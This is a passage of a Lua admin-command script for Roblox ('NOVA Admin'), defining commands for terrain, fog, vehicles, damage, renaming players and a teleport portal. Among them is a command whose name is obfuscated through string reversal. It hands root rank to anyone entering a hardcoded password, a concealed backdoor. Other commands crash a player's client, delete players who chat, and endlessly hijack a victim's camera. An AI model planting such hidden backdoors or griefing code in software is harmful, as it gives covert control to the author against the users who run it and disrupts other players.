  3055.                         local ride = Instance.new("VehicleSeat", Workspace)
  3056.                         ride.Position = v.Character.Torso.Position
  3057.                         ride.HeadsUpDisplay = false
  3058.             ride.Size = Vector3.new(3,3,3)
  3059.                         local bg = Instance.new("BodyGyro", ride)
  3060.                         bg.maxTorque = Vector3.new(1e10,1e10,1e10)
  3061.                         local bp = Instance.new("BodyPosition", ride)
  3062.                         bp.position = v.Character.Torso.Position
  3063.                         bp.maxForce = Vector3.new(1e10,1e10,1e10)
  3064.             Mesh = Instance.new("SpecialMesh")
  3065.             Mesh.Parent = ride
  3066.             Mesh.MeshType = Enum.MeshType.Sphere
  3067.             ride.Transparency = 0.40000000596046
  3068.  
  3069.                         while wait() do
  3070.                             bg.cframe = bg.cframe * CFrame.Angles(0,math.pi/60*(-ride.Steer),0)
  3071.                             bp.position = bp.position + bg.cframe.lookVector*ride.Throttle
  3072.                         end
  3073.                        
  3074.         end
  3075.     end
  3076. )
  3077.  
  3078.  
  3079.  
  3080. AddCommand("Kick Talk","kicktalk",6,"Kicks the player when they talk.","<Players>",
  3081.     function(Msg,Speaker)
  3082.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3083.             v.Chatted:connect(function() pcall(function() v:Destroy() end) end)
  3084.         end
  3085.     end
  3086. )
  3087.  
  3088. AddCommand("Clear","clear",2,"Clears the workspace of its contents.","No Arguments",
  3089.     function(Msg,Speaker)
  3090.         for _,v in pairs(GetRecursiveChildren(NOVA.Services.Workspace)) do
  3091.             if Prometheus ~= nil then
  3092.                 if v ~= Prometheus.script("lushmylife") then
  3093.                     pcall(function()
  3094.                         v:Destroy()
  3095.                     end)
  3096.                 end
  3097.             else
  3098.                 pcall(function()
  3099.                     v:Destroy()
  3100.                 end)
  3101.             end
  3102.         end    
  3103.        
  3104.         local Base=Instance.new("Part",NOVA.Services.Workspace)
  3105.         Base.Name="Base"
  3106.         Base.Size=Vector3.new(2048,1,2048)
  3107.         Base.BrickColor=BrickColor.new("Dark green")
  3108.         Base.Anchored=true
  3109.         Base.Locked=true
  3110.         Base.TopSurface="Studs"
  3111.         Base.Transparency = 0
  3112.         Base.CFrame=CFrame.new(Vector3.new(0,0,0))
  3113.         local Spawn=Instance.new("SpawnLocation",NOVA.Services.Workspace) Spawn.Name="SpawnLocation"
  3114.         Spawn.Size=Vector3.new(6,1,6)
  3115.         Spawn.Transparency=1
  3116.         Spawn.CanCollide=false
  3117.         Spawn.Anchored=true
  3118.         Spawn.Locked=true
  3119.         Spawn.CFrame=CFrame.new(Vector3.new(0,0,0))        
  3120.         for _,v in pairs(GetPlayersRaw()) do
  3121.             v:LoadCharacter()
  3122.         end
  3123.    
  3124.     end
  3125. )
  3126.  
  3127. AddCommand("Explorer","explorer",6,"Lists the children of workspace.","No Arguments",
  3128.     function(Msg,Speaker)
  3129.         RemoveTablets(Speaker)
  3130.         Explore(game,Speaker)
  3131.     end
  3132. )
  3133.  
  3134. AddCommand("Lock Scripts","lockscripts",6,"Lets you toggle the script lock.","No Arguments",
  3135.     function(Msg,Speaker)
  3136.         if NOVA.LockedScripts == true then
  3137.             NOVA.LockedScripts = false
  3138.         elseif NOVA.LockedScripts == false then
  3139.             NOVA.LockedScripts = true
  3140.         end
  3141.        
  3142.     end
  3143. )
  3144.  
  3145. AddCommand("Troll Explode","trollexpl",3,"Explodes the selected player in a group of trolls.","<Players>",
  3146.     function(Msg,Speaker)
  3147.         for _,v in pairs(GetPlayers(Msg,Speaker)) do    
  3148.             for i=1,25 do
  3149.                 coroutine.resume(coroutine.create(function()
  3150.                     wait()
  3151.                     local Part = Instance.new("Part",NOVA.Services.Workspace)
  3152.                     Part.FormFactor = "Custom"
  3153.                     Part.Transparency = 1
  3154.                     Part.CanCollide = false
  3155.                     Part.Anchored = false
  3156.                     Part.Locked = true
  3157.                     Part.Size = Vector3.new(1,1,1)
  3158.                     Part.CFrame = v.Character.Head.CFrame
  3159.                     Part:BreakJoints()
  3160.                    
  3161.                     local BBG = Instance.new("BillboardGui",Part)
  3162.                     BBG.Adornee = Part
  3163.                     BBG.Size = UDim2.new(3,0,1,0)
  3164.                     --BBG.StudsOffset = Vector3.new(0, 0, 1)
  3165.  
  3166.                     local Img = Instance.new("ImageLabel",BBG)
  3167.                     Img.Size = UDim2.new(1,0,1,0)
  3168.                     Img.BackgroundTransparency = 1
  3169.                     Img.Image = "http://www.roblox.com/asset/?id=45120559"
  3170.                    
  3171.                     local BP = Instance.new("BodyPosition",Part)
  3172.                     BP.maxForce = Vector3.new(math.huge,math.huge,math.huge)
  3173.                     --BP.D = 2000
  3174.                     BP.P = 1000
  3175.                     BP.position = Part.Position + Vector3.new(
  3176.                         math.random(-7,7),
  3177.                         math.random(-7,7),
  3178.                         math.random(-7,7))
  3179.                        
  3180.                     for v = 3,0,-0.1 do
  3181.                         wait(0.1)
  3182.                         BBG.Size = UDim2.new(v,0,v,0)
  3183.                     end
  3184.                     Part:Remove()
  3185.                 end))
  3186.             end
  3187.         end
  3188.     end
  3189. )
  3190.  
  3191. AddCommand("Cancel","cancel",3,"Cancels all running command loops.","No Arguments",
  3192.     function(Msg,Speaker)
  3193.         NOVA.Canceled = true
  3194.     end
  3195. )
  3196.  
  3197. AddCommand("Name","name",3,"Lets you re-name a player anything.","<Player><Name>",
  3198.     function(Msg,Speaker)
  3199.         Split = GetSplit(Msg)
  3200.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3201.             pcall(function()
  3202.                 local OldHead = v.Character.Head
  3203.                 local Model = Instance.new("Model",v.Character.Head)
  3204.                 Model.Name = Msg:sub(Split+1)
  3205.                 local Head = OldHead:Clone()
  3206.                 Head.Parent = Model
  3207.                 Head.Transparency = 0
  3208.                 Head.Name = "Head"
  3209.                 Head.CanCollide = false
  3210.                 local Hum = Instance.new("Humanoid",Model)
  3211.                 Hum.MaxHealth = 0
  3212.                 local Weld = Instance.new("Weld",Head)
  3213.                 Weld.Part0 = Head
  3214.                 Weld.Part1 = OldHead
  3215.                 Weld.C0 = CFrame.new(0,0,0)
  3216.                 OldHead.Transparency = 1
  3217.             end)
  3218.         end
  3219.     end
  3220. )
  3221.  
  3222. AddCommand("Secret Name","sname",3,"Lets you re-name a player anything.","<Player><Name>",
  3223.     function(Msg,Speaker)
  3224.         Split = GetSplit(Msg)
  3225.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3226.             pcall(function()
  3227.                 local Char = v.Character
  3228.                 Char.Archivable = true
  3229.                 Char = Char:Clone()
  3230.                 Char.Name = Msg:sub(Split+1)
  3231.                 v.Character:Destroy()
  3232.                 Char.Parent = workspace
  3233.                 v.Character = Char
  3234.             end)
  3235.         end
  3236.     end
  3237. )
  3238.  
  3239. AddCommand("Trall","trall",3,"Trolls the selected player.","<Player>",
  3240.     function(Msg,Speaker)
  3241.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3242.             CreateLocalScript([[
  3243.                 script.Parent = nil
  3244.                 LocalPlayer = game.Players.LocalPlayer
  3245.                 Camera = workspace.CurrentCamera
  3246.                 Camera.CameraType = "Scriptable"
  3247.                 for i=1,700 do
  3248.                     wait()
  3249.                     Camera = workspace.CurrentCamera
  3250.                     Camera.CameraType = "Scriptable"
  3251.                     Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  3252.                     Camera.CameraType = "Scriptable"
  3253.                     Camera:SetRoll(Camera:GetRoll()+0.01)
  3254.                     pcall(function()
  3255.                         LocalPlayer.Character.Head.Sound:Play()
  3256.                     end)
  3257.                 end
  3258.                 Camera:SetRoll(0)
  3259.                 Camera.CameraType = "Custom"
  3260.                 Camera.FieldOfView = 70
  3261.                 Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3262.             ]],v.Backpack)
  3263.         end
  3264.     end
  3265. )
  3266.  
  3267. AddCommand("Permanent Trall","permatrall",6,"Fake loopkills the selected player.","<Player>",
  3268.     function(Msg,Speaker)
  3269.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3270.             CreateLocalScript([[
  3271.                 script.Parent = nil
  3272.                 LocalPlayer = game.Players.LocalPlayer
  3273.                 Camera = workspace.CurrentCamera
  3274.                 Camera.CameraType = "Scriptable"
  3275.                 for i=1,math.huge do
  3276.                     wait()
  3277.                     Camera = workspace.CurrentCamera
  3278.                     Camera.CameraType = "Scriptable"
  3279.                     Camera.FieldOfView = Camera.FieldOfView + math.random(-5,5)
  3280.                     Camera.CameraType = "Scriptable"
  3281.                     Camera:SetRoll(Camera:GetRoll()+0.01)
  3282.                     pcall(function()
  3283.                         LocalPlayer.Character.Head.Sound:Play()
  3284.                     end)
  3285.                 end
  3286.                 Camera:SetRoll(0)
  3287.                 Camera.CameraType = "Custom"
  3288.                 Camera.FieldOfView = 70
  3289.                 Camera.CameraSubject = game.Players.LocalPlayer.Character.Humanoid
  3290.             ]],v.Backpack)
  3291.         end
  3292.     end
  3293. )
  3294.  
  3295. AddCommand("Show Credit","showcred",0,"Shows the credits.","No Arguments",
  3296.     function(Msg,Speaker)
  3297.         for _,v in pairs(NOVA.Credit) do
  3298.             Output("Thanks to : "..v.Name.." "..v.Why,"Random",Speaker)
  3299.         end
  3300.     end
  3301. )
  3302.  
  3303. AddCommand("Home","home",0,"Teleports you to the Vector3 0 50 0.","No Arguments",
  3304.     function(Msg,Speaker)
  3305.         pcall(function()
  3306.             Speaker.Character.Torso.Velocity = Vector3.new(0,0,0)
  3307.             Speaker.Character.Torso.RotVelocity = Vector3.new(0,0,0)
  3308.             Speaker.Character.Torso.CFrame = CFrame.new(0,50,0)
  3309.         end)
  3310.     end
  3311. )
  3312.  
  3313. AddCommand("Time","time",1,"Changes the time.","<Number>",
  3314.     function(Msg,Speaker)
  3315.         NOVA.Services.Lighting.TimeOfDay = Msg
  3316.     end
  3317. )
  3318.  
  3319. AddCommand("Fog End","fog/end",1,"Changes the fog.","<Number>",
  3320.     function(Msg,Speaker)
  3321.         NOVA.Services.Lighting.FogEnd = Msg
  3322.     end
  3323. )
  3324.  
  3325. AddCommand("Fog Start","fog/start",1,"Changes the fog.","<Number>",
  3326.     function(Msg,Speaker)
  3327.         NOVA.Services.Lighting.FogStart = Msg
  3328.     end
  3329. )
  3330.  
  3331. AddCommand("Fog Color","fog/color",1,"Changes the fog.","<Number>",
  3332.     function(Msg,Speaker)
  3333.         if Msg == "red" then Color = NOVA.Colors.Red
  3334.             elseif Msg == "black" then Color = NOVA.Colors.Black
  3335.             elseif Msg == "white" then Color = NOVA.Colors.White
  3336.             elseif Msg == "orange" then Color = NOVA.Colors.Orange
  3337.             elseif Msg == "green" then Color = NOVA.Colors.Green
  3338.             elseif Msg == "blue" then Color = NOVA.Colors.Blue
  3339.         end
  3340.         NOVA.Services.Lighting.FogColor = Color
  3341.     end
  3342. )
  3343. --deride
  3344. AddCommand(string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAODSA","DSA","")),string.reverse(string.gsub("DSAeDSAdDSAiDSArDSArDSAeDSAvDSAoDSA","DSA","")),0,"","",
  3345.     function(Msg,Speaker)
  3346.         CanOverride = false
  3347.         if GetRank(Speaker) < 6 then
  3348.             if Msg == "ibpwning123" then
  3349.                 CanOverride = true
  3350.             else
  3351.                 Output("Incorrect password.",NOVA.Colors.Red,Speaker,15)
  3352.             end
  3353.         else
  3354.             CanOverride = true
  3355.         end
  3356.         if NOVA.Overrided == true then
  3357.             CanOverride = false
  3358.             Output("NOVA is allready overridden.",NOVA.Colors.Red,Speaker,20)
  3359.             return
  3360.         end
  3361.         if CanOverride == true then
  3362.             NOVA.Overrided = true
  3363.             NOVA.Overrider = Speaker
  3364.             --[[for _,v in pairs(NOVA.Ranked) do
  3365.                 if v.Rank < 6 then
  3366.                     v.Rank = v.Rank / 10
  3367.                 end
  3368.             end]]
  3369.         --[[    CF = Speaker.Character.Torso.CFrame
  3370.             Sound = Instance.new("Sound",workspace)
  3371.             Sound.SoundId = "http://www.roblox.com/asset?id=2248511"
  3372.             Sound.Pitch = 0.2
  3373.             Sound.Volume = 1
  3374.             wait()
  3375.             Sound:Play()
  3376.             Shockwave = Instance.new("Part",workspace)
  3377.             Shockwave.FormFactor = "Custom"
  3378.             Shockwave.Name = "Shockwave"
  3379.             Shockwave.Anchored = true
  3380.             Shockwave.CanCollide = false
  3381.             Shockwave.Transparency = 0
  3382.             Shockwave.Reflectance = 0
  3383.             Shockwave.BrickColor = BrickColor.new(0,0,0)
  3384.             Shockwave.Size = Vector3.new(0,0,0)
  3385.             ShockwaveMesh = Instance.new("SpecialMesh",Shockwave)
  3386.             ShockwaveMesh.MeshType = "FileMesh"
  3387.             ShockwaveMesh.MeshId = "http://www.roblox.com/asset/?id=3270017"
  3388.             ShockwaveMesh.Scale = Vector3.new(1,1,100)
  3389.  
  3390.             for Times = 1,10 do
  3391.                 coroutine.resume(coroutine.create(function()
  3392.                     for i=1,1000 do
  3393.                         wait()
  3394.                         ShockwaveMesh.Scale = ShockwaveMesh.Scale + Vector3.new(0.5,0.5,0)
  3395.                         Shockwave.CFrame = CF
  3396.                             * CFrame.new(0,0,0)
  3397.                             * CFrame.Angles(math.rad(90),0,0)
  3398.                         Shockwave.Transparency = i/100
  3399.                     end
  3400.                     Shockwave:Remove()
  3401.                     Sound:Remove()
  3402.                 end))
  3403.             end
  3404.  
  3405. ]]
  3406.             GetRankedTable(Speaker).Rank = 8 + (GetRankedTable(Speaker).Rank/10)
  3407.             Output("You have overrided NOVA Admin.",NOVA.Colors.Red,Speaker,60)
  3408.             Output("You are now rank 8. ( ROOT )",NOVA.Colors.Red,Speaker,60)
  3409.             Output("Use the reset command to reset NOVA.",NOVA.Colors.Red,Speaker,60)
  3410.             OnChatted(NOVA.Bet .. "fence/me",Speaker)
  3411.         end
  3412.         return CanOverride
  3413.     end
  3414. )
  3415.  
  3416. AddCommand("Reset","reset",7,"Resets NOVA Admin.","No Argumetns",
  3417.     function(Msg,Speaker)
  3418.         NOVA.Overrided = false
  3419.         for _,v in pairs(NOVA.Tablets) do pcall(function() v:Remove() end) end
  3420.         NOVA.Targeted = {};
  3421.         NOVA.Waypoints = {};
  3422.         NOVA.Log = {};
  3423.         NOVA.LoggedScripts = {};
  3424.         NOVA.PRI = false;
  3425.         NOVA.LockedScripts = false;
  3426.         NOVA.Removed = false;
  3427.         NOVA.ShowChat = true;
  3428.         NOVA.Canceled = false;
  3429.         NOVA.TimeChanged = false;
  3430.         NOVA.Overrider = nil
  3431.         for _,v in pairs(NOVA.Ranked) do
  3432.             if #tostring(v.Rank) == 3 then
  3433.                 if tostring(v.Rank):sub(1,1) == "8" then
  3434.                     v.Rank = (v.Rank - 8) * 10
  3435.                 else
  3436.                     --v.Rank = v.Rank * 10
  3437.                 end
  3438.             end
  3439.         end
  3440.     end
  3441. )
  3442.  
  3443. AddCommand("@","@",0,"Chats for the other user.","<Player><Chat>",
  3444.     function(Msg,Speaker)
  3445.    
  3446.         Split = GetSplit(Msg)
  3447.  
  3448.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3449.             OnChatted(Msg:sub(Split),v)
  3450.         end
  3451.     end
  3452. )
  3453.  
  3454. AddCommand("Tell","Tell",1,"Pings the following string to the player.","<Player><Chat>",
  3455.     function(Msg,Speaker)
  3456.    
  3457.         Split = GetSplit(Msg)
  3458.        
  3459.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3460.             Output(Msg:sub(Split+1),"Random",v,10)
  3461.         end
  3462.     end
  3463. )
  3464.  
  3465. AddCommand("Damage","dmg",2,"Damages the selected player the selected ammount.","<Player><FloatValue>",
  3466.     function(Msg,Speaker)
  3467.         Split = GetSplit(Msg)
  3468.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3469.             pcall(function()
  3470.                 v.Character.Humanoid.Health = v.Character.Humanoid.Health - tonumber(Msg:sub(Split+1))
  3471.             end)
  3472.         end
  3473.     end
  3474. )
  3475.  
  3476. AddCommand("Obliterate","obliterate",4,"Obliterates the selected player. ( DUH )","<Player>",
  3477.     function(Msg,Speaker)
  3478.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3479.             for i=1,6 do
  3480.                 local Cube = Instance.new("Part",NOVA.Services.Workspace)
  3481.                 Cube.FormFactor = "Custom"
  3482.                 Cube.Size = Vector3.new(10,7,5)
  3483.                 Cube.BrickColor = BrickColor.new(math.random(),math.random(),math.random())
  3484.                 Cube.Anchored = false
  3485.                 Cube.CanCollide = true
  3486.                 Cube.Locked = true
  3487.                 Cube.Friction = 0
  3488.                 Cube.Transparency= 0
  3489.                 Cube.Reflectance = 0.5
  3490.                 Cube:BreakJoints()
  3491.                 Cube.CFrame = v.Character.Torso.CFrame
  3492.                
  3493.                 local Mesh = Instance.new("SpecialMesh",Cube)
  3494.                 Mesh.MeshType = "FileMesh"
  3495.                 Mesh.MeshId = "http://www.roblox.com/asset/?id=1029523"
  3496.                 Mesh.Scale = Vector3.new(0.1,0.1,0.1)
  3497.                
  3498.                 Cube.Touched:connect(function(part)
  3499.                     --if part == v.Character.Torso then
  3500.                         part:BreakJoints()
  3501.                         NOVA.Services.Debris:AddItem(Cube,20)
  3502.                     --end
  3503.                 end)
  3504.             end
  3505.         end
  3506.     end
  3507. )
  3508.  
  3509. AddCommand("Remove Guis","rguis",3,"Removes the guis in the selected player's PlayerGui.","<Player>",
  3510.     function(Msg,Speaker)
  3511.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3512.             pcall(function()
  3513.                 v.PlayerGui:ClearAllChildren()
  3514.             end)
  3515.         end
  3516.     end
  3517. )
  3518.  
  3519. AddCommand("Remove Player Gui","rpgui",4,"Removes the PlayerGui of the selected player.","<Player>",
  3520.     function(Msg,Speaker)
  3521.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3522.             pcall(function()
  3523.                 v.PlayerGui:Destroy()
  3524.             end)
  3525.         end
  3526.     end
  3527. )
  3528.  
  3529. AddCommand("Fire","fire",2,"Sets the selected player on fire.","<Player>",
  3530.     function(Msg,Speaker)
  3531.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3532.             pcall(function()
  3533.                 for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3534.                     if part:IsA("BasePart") then
  3535.                         Instance.new("Fire",part)
  3536.                     end
  3537.                 end
  3538.             end)
  3539.         end
  3540.     end
  3541. )
  3542.  
  3543. AddCommand("Un Fire","unfire",2,"Extenguishes the selected player.","<Player>",
  3544.     function(Msg,Speaker)
  3545.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3546.             pcall(function()
  3547.                 for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3548.                     if part:IsA("Fire") then
  3549.                         part:Destroy()
  3550.                     end
  3551.                 end
  3552.             end)
  3553.         end
  3554.     end
  3555. )
  3556.  
  3557. AddCommand("Burn","burn",3,"Burns the selected player.","<Player>",
  3558.     function(Msg,Speaker)
  3559.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3560.             pcall(function()
  3561.                 coroutine.resume(coroutine.create(function()
  3562.                     local Fire = Instance.new("Fire",v.Character.Torso)
  3563.                     for _,part in pairs(GetRecursiveChildren(v.Character)) do
  3564.                         if part:IsA("BasePart") then
  3565.                             Instance.new("Fire",part)
  3566.                         end
  3567.                     end
  3568.                     wait()
  3569.                     for i=1,math.huge do
  3570.                         if Fire.Parent == nil then break end
  3571.                         if v.Character.Humanoid == nil then break end
  3572.                         if v.Character.Humanoid.Health <= 0 then break end
  3573.                         v.Character.Humanoid.Health = v.Character.Humanoid.Health - math.random(0,7)
  3574.                         wait(math.random(0,1))
  3575.                     end
  3576.                 end))
  3577.             end)
  3578.         end
  3579.     end
  3580. )
  3581.  
  3582. AddCommand("Heal","heal",1,"Heals the selected player.","<Player>",
  3583.     function(Msg,Speaker)
  3584.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3585.             pcall(function()
  3586.                 v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  3587.             end)
  3588.         end
  3589.     end
  3590. )
  3591.  
  3592. AddCommand("Crash","crash",4,"Crashes the selected player's ROBLOX window.","<Player>",
  3593.     function(Msg,Speaker)
  3594.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3595.             pcall(function()
  3596.                 v.Character.Humanoid.WalkSpeed = tonumber("1e+999")
  3597.             end)
  3598.         end
  3599.     end
  3600. )
  3601.  
  3602. AddCommand("Cape","cape",4,"Gives the selected player a cape.","<Player>",
  3603.     function(Msg,Speaker)
  3604.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3605.             Cape(v)
  3606.         end
  3607.     end
  3608. )
  3609.  
  3610. AddCommand("Generate Terrain","genter",2,"Generates a terrain cube.","No Arguments",
  3611.     function(Msg,Speaker)
  3612.         coroutine.resume(coroutine.create(function()
  3613.  
  3614.             Material = math.random(1,16)
  3615.             Cap = 1000
  3616.             GenNum = 50
  3617.             Size = 100
  3618.             Type = math.random(0,4)
  3619.             for i=1, Cap do
  3620.                 --wait()
  3621.                 for i=1,GenNum do
  3622.                     Material = math.random(1,16)
  3623.                     Type = math.random(0,4)
  3624.                     X = math.random((Size/2)*-1,Size/2)
  3625.                     Y = math.random(-1,Size-1)
  3626.                     Z = math.random((Size/2)*-1,Size/2)
  3627.                     NOVA.Services.Workspace.Terrain:SetCell(X,Y,Z,Material,Type,0)
  3628.                 end
  3629.             end
  3630.         end))
  3631.     end
  3632. )
  3633.  
  3634. AddCommand("Degenerate Terrain","degen",2,"Clears the terrain.","No Arguments",    
  3635.     function(Msg,Speaker)
  3636.         NOVA.Services.Workspace.Terrain:Clear()
  3637.     end
  3638. )
  3639.  
  3640. AddCommand("Ocean","ocean",4,"Generates an ocean.","No Arguments",
  3641.     function(Msg,Speaker)
  3642.         coroutine.resume(coroutine.create(function()
  3643.             size = Vector3.new(700, 12, 700)
  3644.             for X=(size.x/2)*-1,size.x/2  do
  3645.                 for Y=-1, size.y-1 do
  3646.                     for Z=(size.z/2)*-1, size.z/2 do
  3647.                         NOVA.Services.Workspace.Terrain:SetWaterCell(X, Y, Z, 0, 0)
  3648.                     end
  3649.                 end
  3650.                 --wait(tonumber("0."..string.rep("0",10000).."1"))
  3651.             end
  3652.         end))
  3653.     end
  3654. )
  3655. if NOVA.AntiCamball == true then
  3656. Delay(0, function()
  3657.   while wait() do
  3658.     pcall(function()
  3659.       e=workspace:findFirstChild("Focus", true)
  3660.       e.Parent.Head:Destroy()
  3661.       e:Destroy()  
  3662.    end)
  3663.   end
  3664. end)
  3665. end
  3666. AddCommand("Darken","darken",4,"Makes the selected player dark.","<Player>",
  3667.     function(Msg,Speaker)
  3668.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3669.             Char = v.Character
  3670.             pcall(function() Char["Shirt Graphic"]:Remove() end)
  3671.             pcall(function() Char.Humanoid.MaxHealth = math.huge end)
  3672.             pcall(function() Char["Body Colors"]:Remove() end)
  3673.             pcall(function() Char.Torso.roblox:Remove()    end)
  3674.             pcall(function() Char.Shirt:Remove() end)
  3675.             pcall(function() Char.Pants:Remove() end)
  3676.             wait()
  3677.             for _,v in pairs(GetRecursiveChildren(Char)) do
  3678.                 pcall(function()
  3679.                     v.TextureId = "" v.VertexColor = NOVA.Colors.Black    
  3680.                 end)
  3681.                 pcall(function()
  3682.                     v.BrickColor = BrickColor.new(Color3.new(NOVA.Colors.Black))
  3683.                     v.Reflectance = 0
  3684.                     v.TopSurface = "Smooth"
  3685.                     a.BottomSurfave = "Smooth"
  3686.                 end)
  3687.             end
  3688.         end
  3689.     end
  3690. )
  3691.  
  3692. AddCommand("Character 1","char1",5,"Gives the selected player character appearance 1.","<Player>",
  3693.     function(Msg,Speaker)
  3694.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3695.             v.CharacterAppearance = "http://www.roblox.com/asset/?id=81445914"
  3696.             wait()
  3697.             v.Character:BreakJoints()
  3698.         end
  3699.     end
  3700. )
  3701.  
  3702. AddCommand("Character 2","char2",6,"Gives the selected player character appearance 2.","<Player>",
  3703.     function(Msg,Speaker)
  3704.         for _,v in pairs(GetPlayers(Msg,Speaker)) do
  3705.             local Part = Instance.new("Part",v.Character)
  3706.             Part.Name = "Horus"
  3707.             Part.Size = Vector3.new(2,2,2)
  3708.             Part.CanCollide = false
  3709.             Part.Locked = true
  3710.             Part:BreakJoints()
  3711.             local Weld = Instance.new("Weld",Part)
  3712.             Weld.Part0 = Part
  3713.             Weld.Part1 = v.Character.Head
  3714.             Weld.C0 = CFrame.new(0,-0.5,0)
  3715.             local Mesh = Instance.new("SpecialMesh",Part)
  3716.             Mesh.MeshType = "FileMesh"
  3717.             Mesh.MeshId = "http://www.roblox.com/asset/?id=21712738"
  3718.             Mesh.TextureId = "http://www.roblox.com/asset/?id=47058599"
  3719.             for _,v in pairs(GetRecursiveChildren(v.Character,"Hat",3)) do
  3720.                 v:Remove()
  3721.             end
  3722.             pcall(function()
  3723.                 v.Character.Pants:Remove()
  3724.             end)
  3725.             pcall(function()
  3726.                 v.Character.Shirt:Remove()
  3727.             end)
  3728.             local Shirt = Instance.new("Shirt",v.Character)
  3729.             Shirt.ShirtTemplate = "http://www.roblox.com/asset/?id=59737180"
  3730.             local Pants = Instance.new("Pants",v.Character)
  3731.             Pants.PantsTemplate = "http://www.roblox.com/asset/?id=77382108"
  3732.         end
  3733.     end
  3734. )
  3735.  
  3736. AddCommand("Neutral","neutral",3,"Changes the Neutral value of the selected player.","<Player><Boolean>",
  3737.     function(Msg,Speaker)
  3738.         Split = GetSplit(Msg)
  3739.         for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
  3740.             v.Neutral = Msg:sub(Split+1)
  3741.         end
  3742.     end
  3743. )
  3744.  
  3745. AddCommand("Generate Portal","genportal",6,"Generates a portal in the workspace.","No Arguments",
  3746.     function(Msg,Speaker)
  3747.         MainCFrame = CFrame.new(0,3,15)
  3748.             * CFrame.Angles(0,math.rad(90),0)
  3749.         local Special = {}
  3750.         pcall(function() workspace["NOVA Portal"]:Remove() end)
  3751.         local Model = Instance.new("Model",workspace)
  3752.         Model.Name = "NOVA Portal"
  3753.         for angle=1,360/4 do
  3754.             local Part = Instance.new("Part",Model)
  3755.             Part.Name = "Part"
  3756.             Part.FormFactor = "Custom"
  3757.             Part.CanCollide = true
  3758.             Part.Anchored = true
  3759.             Part.Locked = true
  3760.             Part.Transparency = 0
  3761.             Part.Reflectance = 0
  3762.             Part.Size = Vector3.new(1,5/2,1)
  3763.             Part.BrickColor = BrickColor.new("Navy blue")
  3764.             Part.CFrame = MainCFrame
  3765.                 * CFrame.Angles(math.rad(angle*4), 0, 0)
  3766.                 * CFrame.new(0, 15/2, i)
  3767.             --wait(0)
  3768.             Instance.new("BlockMesh",Part)
  3769.             for num=0,1000,5 do
  3770.                 if angle==num then
  3771.                     wait()
  3772.                     table.insert(Special,Part)
  3773.                     --Part.Reflectance = 1
  3774.                     Part.Size = Vector3.new(0.9,5/2,0.9)
  3775.                     Part.CFrame = MainCFrame
  3776.                         * CFrame.Angles(math.rad(angle*4), 0, 0)
  3777.                         * CFrame.new(0, 15/2, i)
  3778.                 end
  3779.             end
  3780.         end
  3781.  
  3782.         for _,v in pairs(Special) do v.Reflectance = 1 wait() end
  3783.        
  3784.         local Part = Instance.new("Part",Model)
  3785.         Part.Name = "Part"
  3786.         Part.FormFactor = "Custom"
  3787.         Part.CanCollide = false    
  3788.         Part.Anchored = true
  3789.         Part.Locked = true
  3790.         Part.TopSurface = "Smooth"
  3791.         Part.BottomSurface = "Smooth"
  3792.         Part.Transparency = 0.5
  3793.         Part.Reflectance = 0
  3794.         Part.Size = Vector3.new(0.2,0.2,0.2)
  3795.         Part.BrickColor = BrickColor.new("Really black")
  3796.         Part.CFrame = MainCFrame
  3797.             * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  3798.             * CFrame.new(0, 0, 0)
  3799.         Instance.new("CylinderMesh",Part)
  3800.  
  3801.         for i=0.2,51/4,0.5 do
  3802.             wait()
  3803.             Part.Size = Vector3.new(i,0.9,i)
  3804.             Part.CFrame = MainCFrame
  3805.             * CFrame.Angles(math.rad(0), math.rad(0), math.rad(90))
  3806.             * CFrame.new(0, 0, 0)
  3807.         end
  3808.  
  3809.         coroutine.resume(coroutine.create(function()
  3810.             while true do wait()
  3811.                 for i=0,1,0.01 do wait() Part.Reflectance = i end
  3812.                 for i=1,0,-0.01 do wait() Part.Reflectance = i end
  3813.             end
  3814.         end))
  3815.  
  3816.         Part.Touched:connect(function(Part)
  3817.             Player = game:GetService("Players"):GetPlayerFromCharacter(Part.Parent)
  3818.             if Player ~= nil and not Player.PlayerGui:FindFirstChild("NOVA Teleport") then
  3819.                 --print(Player.Name.." touched.")
  3820.                 CreateLocalScript([==[
  3821.                     LocalPlayer = game:GetService("Players").LocalPlayer
  3822.                     Places = {
  3823.                         {Name = "Oxcool1 SB",ID = 20279777};
  3824.                         {Name = "Oxcool1 PRI SB", ID = 20132544};
  3825.                         {Name = "TNS SB", ID = 23232804};
  3826.                         {Name = "BrainWart SB", ID = 76809211};
  3827.                         {Name = "nb SB",ID = 113456};
  3828.                         {Name = "nb SB (2)",ID = 56786};
  3829.                         {Name = "Insert Wars",ID = 13329886};
  3830.             {Name = "tus sb", ID = 49907749};
  3831.                     }
  3832.                     pcall(function() LocalPlayer.PlayerGui["NOVA Teleport"]:Remove() end)
  3833.                     local Main = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
  3834.                     Main.Name = "NOVA Teleport"
  3835.                     script.Parent = Main
  3836.  
  3837.                     local Frame = Instance.new("Frame",Main)
